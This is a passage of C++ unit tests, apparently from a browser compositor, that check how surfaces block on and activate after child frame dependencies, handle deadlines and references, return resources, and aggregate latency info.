std::vector<TransferableResource>())); // parent_support is blocked on |child_id1|. EXPECT_TRUE(parent_surface()->has_deadline()); EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(child_id1)); // The parent should not report damage until it activates. EXPECT_FALSE(surface_observer().IsSurfaceDamaged(parent_id)); child_support1().SubmitCompositorFrame( child_id1.local_surface_id(), MakeCompositorFrame({child_id2}, empty_surface_ranges(), std::vector<TransferableResource>())); // child_support1 should now be blocked on |child_id2|. EXPECT_TRUE(child_surface1()->has_deadline()); EXPECT_FALSE(child_surface1()->HasActiveFrame()); EXPECT_TRUE(child_surface1()->HasPendingFrame()); EXPECT_THAT(child_surface1()->activation_dependencies(), UnorderedElementsAre(child_id2)); // The parent and child should not report damage until they activate. EXPECT_FALSE(surface_observer().IsSurfaceDamaged(parent_id)); EXPECT_FALSE(surface_observer().IsSurfaceDamaged(child_id1)); // The parent should still be blocked on |child_id1| because it's pending. EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(child_id1)); // Submit a CompositorFrame without any dependencies to |child_id2|. // parent_support should be activated. child_support2().SubmitCompositorFrame( child_id2.local_surface_id(), MakeCompositorFrame(empty_surface_ids(), empty_surface_ranges(), std::vector<TransferableResource>())); EXPECT_FALSE(child_surface2()->has_deadline()); // child_surface1 should now be active. EXPECT_TRUE(child_surface1()->HasActiveFrame()); EXPECT_FALSE(child_surface1()->HasPendingFrame()); EXPECT_THAT(child_surface1()->activation_dependencies(), IsEmpty()); // parent_surface should now be active. EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), IsEmpty()); // All three surfaces |parent_id|, |child_id1|, and |child_id2| should // now report damage. This would trigger a new display frame. EXPECT_TRUE(surface_observer().IsSurfaceDamaged(parent_id)); EXPECT_TRUE(surface_observer().IsSurfaceDamaged(child_id1)); EXPECT_TRUE(surface_observer().IsSurfaceDamaged(child_id2)); } // parent_surface and child_surface1 are blocked on |child_id2|. TEST_F(SurfaceSynchronizationTest, TwoBlockedOnOne) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink2, 1); parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id2}, {SurfaceRange(base::nullopt, child_id2)}, std::vector<TransferableResource>())); // parent_support is blocked on |child_id2|. EXPECT_TRUE(parent_surface()->has_deadline()); EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(child_id2)); // child_support1 should now be blocked on |child_id2|. child_support1().SubmitCompositorFrame( child_id1.local_surface_id(), MakeCompositorFrame({child_id2}, {SurfaceRange(base::nullopt, child_id2)}, std::vector<TransferableResource>())); EXPECT_TRUE(child_surface1()->has_deadline()); EXPECT_FALSE(child_surface1()->HasActiveFrame()); EXPECT_TRUE(child_surface1()->HasPendingFrame()); EXPECT_THAT(child_surface1()->activation_dependencies(), UnorderedElementsAre(child_id2)); // The parent should still be blocked on |child_id2|. EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(child_id2)); // Submit a CompositorFrame without any dependencies to |child_id2|. // parent_support should be activated. child_support2().SubmitCompositorFrame(child_id2.local_surface_id(), MakeDefaultCompositorFrame()); EXPECT_FALSE(child_surface2()->has_deadline()); // child_surface1 should now be active. EXPECT_TRUE(child_surface1()->HasActiveFrame()); EXPECT_FALSE(child_surface1()->HasPendingFrame()); EXPECT_THAT(child_surface1()->activation_dependencies(), IsEmpty()); // parent_surface should now be active. EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), IsEmpty()); } // parent_surface is blocked on |child_id1|, and child_surface2 is blocked on // |child_id2| until the deadline hits. TEST_F(SurfaceSynchronizationTest, DeadlineHits) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink2, 1); parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id1}, empty_surface_ranges(), std::vector<TransferableResource>(), MakeDefaultDeadline())); // parent_support is blocked on |child_id1|. EXPECT_TRUE(parent_surface()->has_deadline()); EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(child_id1)); child_support1().SubmitCompositorFrame( child_id1.local_surface_id(), MakeCompositorFrame({child_id2}, empty_surface_ranges(), std::vector<TransferableResource>(), MakeDefaultDeadline())); // child_support1 should now be blocked on |child_id2|. EXPECT_TRUE(child_surface1()->has_deadline()); EXPECT_FALSE(child_surface1()->HasActiveFrame()); EXPECT_TRUE(child_surface1()->HasPendingFrame()); EXPECT_THAT(child_surface1()->activation_dependencies(), UnorderedElementsAre(child_id2)); // The parent should still be blocked on |child_id1| because it's pending. EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(child_id1)); for (int i = 0; i < 3; ++i) { SendNextBeginFrame(); // There is still a looming deadline! Eeek! EXPECT_TRUE(parent_surface()->has_deadline()); // parent_support is still blocked on |child_id1|. EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(child_id1)); // child_support1 is still blocked on |child_id2|. EXPECT_FALSE(child_surface1()->HasActiveFrame()); EXPECT_TRUE(child_surface1()->HasPendingFrame()); EXPECT_THAT(child_surface1()->activation_dependencies(), UnorderedElementsAre(child_id2)); } SendNextBeginFrame(); // The deadline has passed. EXPECT_FALSE(parent_surface()->has_deadline()); // parent_surface has been activated. EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), IsEmpty()); // child_surface1 has been activated. EXPECT_TRUE(child_surface1()->HasActiveFrame()); EXPECT_FALSE(child_surface1()->HasPendingFrame()); EXPECT_THAT(child_surface1()->activation_dependencies(), IsEmpty()); } // This test verifies that unlimited deadline mode works and that surfaces will // not activate until dependencies are resolved. TEST_F(SurfaceSynchronizationTest, UnlimitedDeadline) { // Turn on unlimited deadline mode. frame_sink_manager() .surface_manager() ->SetActivationDeadlineInFramesForTesting(base::nullopt); const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); // The deadline specified by the parent is ignored in unlimited deadline // mode. parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id1}, empty_surface_ranges(), std::vector<TransferableResource>(), MakeDefaultDeadline())); // parent_support is blocked on |child_id1|. EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(child_id1)); for (int i = 0; i < 4; ++i) { SendNextBeginFrame(); // parent_support is still blocked on |child_id1|. EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(child_id1)); } // parent_support is STILL blocked on |child_id1|. EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(child_id1)); child_support1().SubmitCompositorFrame(child_id1.local_surface_id(), MakeDefaultCompositorFrame()); // parent_surface has been activated. EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), IsEmpty()); } // parent_surface is blocked on |child_id1| until a late BeginFrame arrives and // triggers a deadline. TEST_F(SurfaceSynchronizationTest, LateBeginFrameTriggersDeadline) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id1}, empty_surface_ranges(), std::vector<TransferableResource>())); // parent_support is blocked on |child_id1|. EXPECT_TRUE(parent_surface()->has_deadline()); EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(child_id1)); SendLateBeginFrame(); // The deadline has passed. EXPECT_FALSE(parent_surface()->has_deadline()); // parent_surface has been activated. EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), IsEmpty()); } // This test verifies at the Surface activates once a CompositorFrame is // submitted that has no unresolved dependencies. TEST_F(SurfaceSynchronizationTest, NewFrameOverridesOldDependencies) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId arbitrary_id = MakeSurfaceId(kArbitraryFrameSink, 1); // Submit a CompositorFrame that depends on |arbitrary_id|. parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({arbitrary_id}, empty_surface_ranges(), std::vector<TransferableResource>())); // Verify that the CompositorFrame is blocked on |arbitrary_id|. EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(arbitrary_id)); // Submit a CompositorFrame that has no dependencies. parent_support().SubmitCompositorFrame(parent_id.local_surface_id(), MakeDefaultCompositorFrame()); // Verify that the CompositorFrame has been activated. EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), IsEmpty()); } // This test verifies that a pending CompositorFrame does not affect surface // references. A new surface from a child will continue to exist as a temporary // reference until the parent's frame activates. TEST_F(SurfaceSynchronizationTest, OnlyActiveFramesAffectSurfaceReferences) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink2, 1); // child_support1 submits a CompositorFrame without any dependencies. // DidReceiveCompositorFrameAck should call on immediate activation. EXPECT_CALL(support_client_, DidReceiveCompositorFrameAck(_)).Times(1); child_support1().SubmitCompositorFrame(child_id1.local_surface_id(), MakeDefaultCompositorFrame()); testing::Mock::VerifyAndClearExpectations(&support_client_); // Verify that the child surface is not blocked. EXPECT_TRUE(child_surface1()->HasActiveFrame()); EXPECT_FALSE(child_surface1()->HasPendingFrame()); EXPECT_THAT(child_surface1()->activation_dependencies(), IsEmpty()); // Verify that there's a temporary reference for |child_id1|. EXPECT_TRUE(HasTemporaryReference(child_id1)); // parent_support submits a CompositorFrame that depends on |child_id1| // (which is already active) and |child_id2|. Thus, the parent should not // activate immediately. DidReceiveCompositorFrameAck should not be called // immediately because the parent CompositorFrame is also blocked on // |child_id2|. EXPECT_CALL(support_client_, DidReceiveCompositorFrameAck(_)).Times(0); parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id2}, {SurfaceRange(child_id1)}, std::vector<TransferableResource>())); EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(child_id2)); EXPECT_THAT(GetChildReferences(parent_id), IsEmpty()); testing::Mock::VerifyAndClearExpectations(&support_client_); // Verify that there's a temporary reference for |child_id1| that still // exists. EXPECT_TRUE(HasTemporaryReference(child_id1)); // child_support2 submits a CompositorFrame without any dependencies. // Both the child and the parent should immediately ACK CompositorFrames // on activation. EXPECT_CALL(support_client_, DidReceiveCompositorFrameAck(_)).Times(2); child_support2().SubmitCompositorFrame(child_id2.local_surface_id(), MakeDefaultCompositorFrame()); testing::Mock::VerifyAndClearExpectations(&support_client_); // Verify that the child surface is not blocked. EXPECT_TRUE(child_surface1()->HasActiveFrame()); EXPECT_FALSE(child_surface1()->HasPendingFrame()); EXPECT_THAT(child_surface1()->activation_dependencies(), IsEmpty()); // Verify that the parent surface's CompositorFrame has activated and that // the temporary reference has been replaced by a permanent one. EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), IsEmpty()); EXPECT_FALSE(HasTemporaryReference(child_id1)); EXPECT_THAT(GetChildReferences(parent_id), UnorderedElementsAre(child_id1)); } // This test verifies that we do not double count returned resources when a // CompositorFrame starts out as pending, then becomes active, and then is // replaced with another active CompositorFrame. TEST_F(SurfaceSynchronizationTest, ResourcesOnlyReturnedOnce) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id = MakeSurfaceId(kChildFrameSink1, 1); // The parent submits a CompositorFrame that depends on |child_id| before // the child submits a CompositorFrame. The CompositorFrame also has // resources in its resource list. TransferableResource resource; resource.id = ResourceId(1337); resource.format = ALPHA_8; resource.filter = 1234; resource.size = gfx::Size(1234, 5678); std::vector<TransferableResource> resource_list = {resource}; parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id}, empty_surface_ranges(), resource_list)); // Verify that the CompositorFrame is blocked on |child_id|. EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(child_id)); child_support1().SubmitCompositorFrame( child_id.local_surface_id(), MakeCompositorFrame(empty_surface_ids(), empty_surface_ranges(), std::vector<TransferableResource>())); // Verify that the child CompositorFrame activates immediately. EXPECT_TRUE(child_surface1()->HasActiveFrame()); EXPECT_FALSE(child_surface1()->HasPendingFrame()); EXPECT_THAT(child_surface1()->activation_dependencies(), IsEmpty()); // Verify that the parent has activated. EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), IsEmpty()); std::vector<ReturnedResource> returned_resources = { resource.ToReturnedResource()}; EXPECT_CALL(support_client_, DidReceiveCompositorFrameAck(returned_resources)); // The parent submits a CompositorFrame without any dependencies. That // frame should activate immediately, replacing the earlier frame. The // resource from the earlier frame should be returned to the client. parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({empty_surface_ids()}, {empty_surface_ranges()}, std::vector<TransferableResource>())); EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), IsEmpty()); } // This test verifies that if a surface has both a pending and active // CompositorFrame and the pending CompositorFrame activates, replacing // the existing active CompositorFrame, then the surface reference hierarchy // will be updated allowing garbage collection of surfaces that are no longer // referenced. TEST_F(SurfaceSynchronizationTest, DropStaleReferencesAfterActivation) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink2, 1); // The parent submits a CompositorFrame that depends on |child_id1| before // the child submits a CompositorFrame. EXPECT_CALL(support_client_, DidReceiveCompositorFrameAck(_)).Times(0); parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id1}, empty_surface_ranges(), std::vector<TransferableResource>())); // Verify that the CompositorFrame is blocked on |child_id|. EXPECT_FALSE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(child_id1)); testing::Mock::VerifyAndClearExpectations(&support_client_); // Verify that no references are added while the CompositorFrame is // pending. EXPECT_THAT(GetChildReferences(parent_id), IsEmpty()); // DidReceiveCompositorFrameAck should get called twice: once for the child // and once for the now active parent CompositorFrame. EXPECT_CALL(support_client_, DidReceiveCompositorFrameAck(_)).Times(2); child_support1().SubmitCompositorFrame(child_id1.local_surface_id(), MakeDefaultCompositorFrame()); testing::Mock::VerifyAndClearExpectations(&support_client_); // Verify that the child CompositorFrame activates immediately. EXPECT_TRUE(child_surface1()->HasActiveFrame()); EXPECT_FALSE(child_surface1()->HasPendingFrame()); EXPECT_THAT(child_surface1()->activation_dependencies(), IsEmpty()); // Verify that the parent Surface has activated. EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), IsEmpty()); // Submit a new parent CompositorFrame to add a reference. parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame(empty_surface_ids(), {SurfaceRange(child_id1)}, std::vector<TransferableResource>())); // Verify that the parent Surface has activated. EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), IsEmpty()); // Verify that there is no temporary reference for the child and that // the reference from the parent to the child still exists. EXPECT_FALSE(HasTemporaryReference(child_id1)); EXPECT_THAT(GetChildReferences(parent_id), UnorderedElementsAre(child_id1)); // The parent submits another CompositorFrame that depends on |child_id2|. // Submitting a pending CompositorFrame will not trigger a // CompositorFrameAck. EXPECT_CALL(support_client_, DidReceiveCompositorFrameAck(_)).Times(0); parent_support().SubmitCompositorFrame( parent_id.local_surface_id(), MakeCompositorFrame({child_id2}, empty_surface_ranges(), std::vector<TransferableResource>())); testing::Mock::VerifyAndClearExpectations(&support_client_); // The parent surface should now have both a pending and activate // CompositorFrame. Verify that the set of child references from // |parent_id| are only from the active CompositorFrame. EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_TRUE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), UnorderedElementsAre(child_id2)); EXPECT_THAT(GetChildReferences(parent_id), UnorderedElementsAre(child_id1)); child_support2().SubmitCompositorFrame(child_id2.local_surface_id(), MakeDefaultCompositorFrame()); // Verify that the parent Surface has activated and no longer has a // pending CompositorFrame. Also verify that |child_id1| is no longer a // child reference of |parent_id|. EXPECT_TRUE(parent_surface()->HasActiveFrame()); EXPECT_FALSE(parent_surface()->HasPendingFrame()); EXPECT_THAT(parent_surface()->activation_dependencies(), IsEmpty()); // The parent will not immediately refer to the child until it submits a new // CompositorFrame with the reference. EXPECT_THAT(GetChildReferences(parent_id), IsEmpty()); } // Verifies that LatencyInfo does not get too large after multiple frame // submissions. TEST_F(SurfaceSynchronizationTest, LimitLatencyInfo) { const SurfaceId parent_id = MakeSurfaceId(kParentFrameSink, 1); const ui::LatencyComponentType latency_type1 = ui::INPUT_EVENT_LATENCY_ORIGINAL_COMPONENT; const ui::LatencyComponentType latency_type2 = ui::LATENCY_COMPONENT_TYPE_LAST; // Submit a frame with latency info ui::LatencyInfo info; info.AddLatencyNumber(latency_type1); CompositorFrameBuilder builder; builder.AddDefaultRenderPass(); for (int i = 0; i < 60; ++i) builder.AddLatencyInfo(info); CompositorFrame frame = builder.Build(); parent_support().SubmitCompositorFrame(parent_id.local_surface_id(), std::move(frame)); // Verify that the surface has an active frame and no pending frame. Surface* surface = GetSurfaceForId(parent_id); ASSERT_NE(nullptr, surface); EXPECT_TRUE(surface->HasActiveFrame()); EXPECT_FALSE(surface->HasPendingFrame()); // Submit another frame with some other latency info. ui::LatencyInfo info2; info2.AddLatencyNumber(latency_type2); builder.AddDefaultRenderPass(); for (int i = 0; i < 60; ++i) builder.AddLatencyInfo(info); CompositorFrame frame2 = builder.Build(); parent_support().SubmitCompositorFrame(parent_id.local_surface_id(), std::move(frame2)); // Verify that the surface has an active frame and no pending frames. EXPECT_TRUE(surface->HasActiveFrame()); EXPECT_FALSE(surface->HasPendingFrame()); // Verify that the surface has no latency info objects because it grew // too large. std::vector<ui::LatencyInfo> info_list; surface->TakeActiveLatencyInfo(&info_list); EXPECT_EQ(0u, info_list.size()); } // Checks whether SurfaceAllocationGroup properly aggregates LatencyInfo of // multiple surfaces. In this variation of the test, there are no pending // frames. TEST_F(SurfaceSynchronizationTest, LatencyInfoAggregation_NoUnresolvedDependencies) { const SurfaceId parent_id1 = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId parent_id2 = MakeSurfaceId(kParentFrameSink, 2); const ui::LatencyComponentType latency_type1 = ui::INPUT_EVENT_LATENCY_RENDERER_SWAP_COMPONENT; const ui::LatencyComponentType latency_type2 = ui::LATENCY_COMPONENT_TYPE_LAST; // Submit a frame with latency info ui::LatencyInfo info; info.AddLatencyNumber(latency_type1); CompositorFrame frame = CompositorFrameBuilder() .AddDefaultRenderPass() .AddLatencyInfo(info) .Build(); parent_support().SubmitCompositorFrame(parent_id1.local_surface_id(), std::move(frame)); // Verify that the old surface has an active frame and no pending frame. Surface* old_surface = GetSurfaceForId(parent_id1); ASSERT_NE(nullptr, old_surface); EXPECT_TRUE(old_surface->HasActiveFrame()); EXPECT_FALSE(old_surface->HasPendingFrame()); // Submit another frame with some other latency info and a different // LocalSurfaceId. ui::LatencyInfo info2; info2.AddLatencyNumber(latency_type2); CompositorFrame frame2 = CompositorFrameBuilder() .AddDefaultRenderPass() .AddLatencyInfo(info2) .Build(); parent_support().SubmitCompositorFrame(parent_id2.local_surface_id(), std::move(frame2)); // Verify that the new surface has an active frame and no pending frames. Surface* surface = GetSurfaceForId(parent_id2); ASSERT_NE(nullptr, surface); EXPECT_TRUE(surface->HasActiveFrame()); EXPECT_FALSE(surface->HasPendingFrame()); // Verify that the new surface has both latency info elements. std::vector<ui::LatencyInfo> info_list; surface->allocation_group()->TakeAggregatedLatencyInfoUpTo(surface, &info_list); EXPECT_EQ(2u, info_list.size()); ui::LatencyInfo aggregated_latency_info = info_list[0]; aggregated_latency_info.AddNewLatencyFrom(info_list[1]); // Two components are the original ones, and the third one is // DISPLAY_COMPOSITOR_RECEIVED_FRAME_COMPONENT, logged on compositor frame // submit. EXPECT_EQ(3u, aggregated_latency_info.latency_components().size()); EXPECT_TRUE(aggregated_latency_info.FindLatency(latency_type1, nullptr)); EXPECT_TRUE(aggregated_latency_info.FindLatency(latency_type2, nullptr)); EXPECT_TRUE(aggregated_latency_info.FindLatency( ui::DISPLAY_COMPOSITOR_RECEIVED_FRAME_COMPONENT, nullptr)); } // Checks whether SurfaceAllocationGroup properly aggregates LatencyInfo of // multiple surfaces. In this variation of the test, the older surface has both // pending and active frames and we verify that the LatencyInfo of both pending // and active frame are present in the aggregated LatencyInfo. TEST_F(SurfaceSynchronizationTest, LatencyInfoAggregation_OldSurfaceHasPendingAndActiveFrame) { const SurfaceId parent_id1 = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId parent_id2 = MakeSurfaceId(kParentFrameSink, 2); const SurfaceId child_id = MakeSurfaceId(kChildFrameSink1, 1); const ui::LatencyComponentType latency_type1 = ui::INPUT_EVENT_LATENCY_RENDERER_SWAP_COMPONENT; const ui::LatencyComponentType latency_type2 = ui::LATENCY_COMPONENT_TYPE_LAST; // Submit a frame with no unresolved dependency. ui::LatencyInfo info; info.AddLatencyNumber(latency_type1); CompositorFrame frame = MakeDefaultCompositorFrame(); frame.metadata.latency_info.push_back(info); parent_support().SubmitCompositorFrame(parent_id1.local_surface_id(), std::move(frame)); // Submit a frame with unresolved dependencies. ui::LatencyInfo info2; info2.AddLatencyNumber(latency_type2); CompositorFrame frame2 = MakeCompositorFrame( {child_id}, empty_surface_ranges(), std::vector<TransferableResource>()); frame2.metadata.latency_info.push_back(info2); parent_support().SubmitCompositorFrame(parent_id1.local_surface_id(), std::move(frame2)); // Verify that the old surface has both an active and a pending frame. Surface* old_surface = GetSurfaceForId(parent_id1); ASSERT_NE(nullptr, old_surface); EXPECT_TRUE(old_surface->HasActiveFrame()); EXPECT_TRUE(old_surface->HasPendingFrame()); // Submit a frame with a new local surface id. parent_support().SubmitCompositorFrame(parent_id2.local_surface_id(), MakeDefaultCompositorFrame()); // Verify that the new surface has an active frame only. Surface* surface = GetSurfaceForId(parent_id2); ASSERT_NE(nullptr, surface); EXPECT_TRUE(surface->HasActiveFrame()); EXPECT_FALSE(surface->HasPendingFrame()); // Verify that the aggregated LatencyInfo has LatencyInfo from both active and // pending frame of the old surface. std::vector<ui::LatencyInfo> info_list; surface->allocation_group()->TakeAggregatedLatencyInfoUpTo(surface, &info_list); EXPECT_EQ(2u, info_list.size()); ui::LatencyInfo aggregated_latency_info = info_list[0]; aggregated_latency_info.AddNewLatencyFrom(info_list[1]); // Two components are the original ones, and the third one is // DISPLAY_COMPOSITOR_RECEIVED_FRAME_COMPONENT, logged on compositor frame // submit. EXPECT_EQ(3u, aggregated_latency_info.latency_components().size()); EXPECT_TRUE(aggregated_latency_info.FindLatency(latency_type1, nullptr)); EXPECT_TRUE(aggregated_latency_info.FindLatency(latency_type2, nullptr)); EXPECT_TRUE(aggregated_latency_info.FindLatency( ui::DISPLAY_COMPOSITOR_RECEIVED_FRAME_COMPONENT, nullptr)); } // Checks whether SurfaceAllocationGroup properly aggregates LatencyInfo of // multiple surfaces. In this variation of the test, the newer surface has a // pending frame that becomes active after the dependency is resolved and we // make sure the LatencyInfo of the activated frame is included in the // aggregated LatencyInfo. TEST_F(SurfaceSynchronizationTest, LatencyInfoAggregation_NewSurfaceHasPendingFrame) { const SurfaceId parent_id1 = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId parent_id2 = MakeSurfaceId(kParentFrameSink, 2); const SurfaceId child_id = MakeSurfaceId(kChildFrameSink1, 1); const ui::LatencyComponentType latency_type1 = ui::INPUT_EVENT_LATENCY_RENDERER_SWAP_COMPONENT; const ui::LatencyComponentType latency_type2 = ui::LATENCY_COMPONENT_TYPE_LAST; // Submit a frame with no unresolved dependencies. ui::LatencyInfo info; info.AddLatencyNumber(latency_type1); CompositorFrame frame = MakeDefaultCompositorFrame(); frame.metadata.latency_info.push_back(info); parent_support().SubmitCompositorFrame(parent_id1.local_surface_id(), std::move(frame)); // Verify that the old surface has an active frame only. Surface* old_surface = GetSurfaceForId(parent_id1); ASSERT_NE(nullptr, old_surface); EXPECT_TRUE(old_surface->HasActiveFrame()); EXPECT_FALSE(old_surface->HasPendingFrame()); // Submit a frame with a new local surface id and with unresolved // dependencies. ui::LatencyInfo info2; info2.AddLatencyNumber(latency_type2); CompositorFrame frame2 = MakeCompositorFrame( {child_id}, empty_surface_ranges(), std::vector<TransferableResource>()); frame2.metadata.latency_info.push_back(info2); parent_support().SubmitCompositorFrame(parent_id2.local_surface_id(), std::move(frame2)); // Verify that the new surface has a pending frame and no active frame. Surface* surface = GetSurfaceForId(parent_id2); ASSERT_NE(nullptr, surface); EXPECT_TRUE(surface->HasPendingFrame()); EXPECT_FALSE(surface->HasActiveFrame()); // Resolve the dependencies. The frame in parent's surface must become active. child_support1().SubmitCompositorFrame(child_id.local_surface_id(), MakeDefaultCompositorFrame()); EXPECT_FALSE(surface->HasPendingFrame()); EXPECT_TRUE(surface->HasActiveFrame()); // Both latency info elements must exist in the aggregated LatencyInfo. std::vector<ui::LatencyInfo> info_list; surface->allocation_group()->TakeAggregatedLatencyInfoUpTo(surface, &info_list); EXPECT_EQ(2u, info_list.size()); ui::LatencyInfo aggregated_latency_info = info_list[0]; aggregated_latency_info.AddNewLatencyFrom(info_list[1]); // Two components are the original ones, and the third one is // DISPLAY_COMPOSITOR_RECEIVED_FRAME_COMPONENT, logged on compositor frame // submit. EXPECT_EQ(3u, aggregated_latency_info.latency_components().size()); EXPECT_TRUE(aggregated_latency_info.FindLatency(latency_type1, nullptr)); EXPECT_TRUE(aggregated_latency_info.FindLatency(latency_type2, nullptr)); EXPECT_TRUE(aggregated_latency_info.FindLatency( ui::DISPLAY_COMPOSITOR_RECEIVED_FRAME_COMPONENT, nullptr)); } // Checks whether SurfaceAllocationGroup properly aggregates LatencyInfo of // multiple surfaces. In this variation of the test, multiple older surfaces // with pending frames exist during aggregation of an activated frame on a newer // surface. TEST_F(SurfaceSynchronizationTest, LatencyInfoAggregation_MultipleOldSurfacesWithPendingFrames) { const SurfaceId parent_id1 = MakeSurfaceId(kParentFrameSink, 1); const SurfaceId parent_id2 = MakeSurfaceId(kParentFrameSink, 2); const SurfaceId parent_id3 = MakeSurfaceId(kParentFrameSink, 3); const SurfaceId child_id1 = MakeSurfaceId(kChildFrameSink1, 1); const SurfaceId child_id2 = MakeSurfaceId(kChildFrameSink1, 2); const ui::LatencyComponentType latency_type1 = ui::INPUT_EVENT_LATENCY_RENDERER_SWAP_COMPONENT; const ui::LatencyComponentType latency_type2 = ui::LATENCY_COMPONENT_TYPE_LAST; // Submit a frame with unresolved dependencies to parent_id1. ui::LatencyInfo info1; info1.AddLatencyNumber(latency_type1); CompositorFrame frame1 = MakeCompositorFrame( {child_id1}, empty_surface_ranges(), std::vector<TransferableResource>()); frame1.metadata.latency_info.push_back(info1); parent_support().SubmitCompositorFrame(parent_id1.local_surface_id(), std::move(frame1)); // Submit a frame with unresolved dependencies to parent_id2. ui::LatencyInfo info2; info2.AddLatencyNumber(latency_type2); CompositorFrame frame2 = 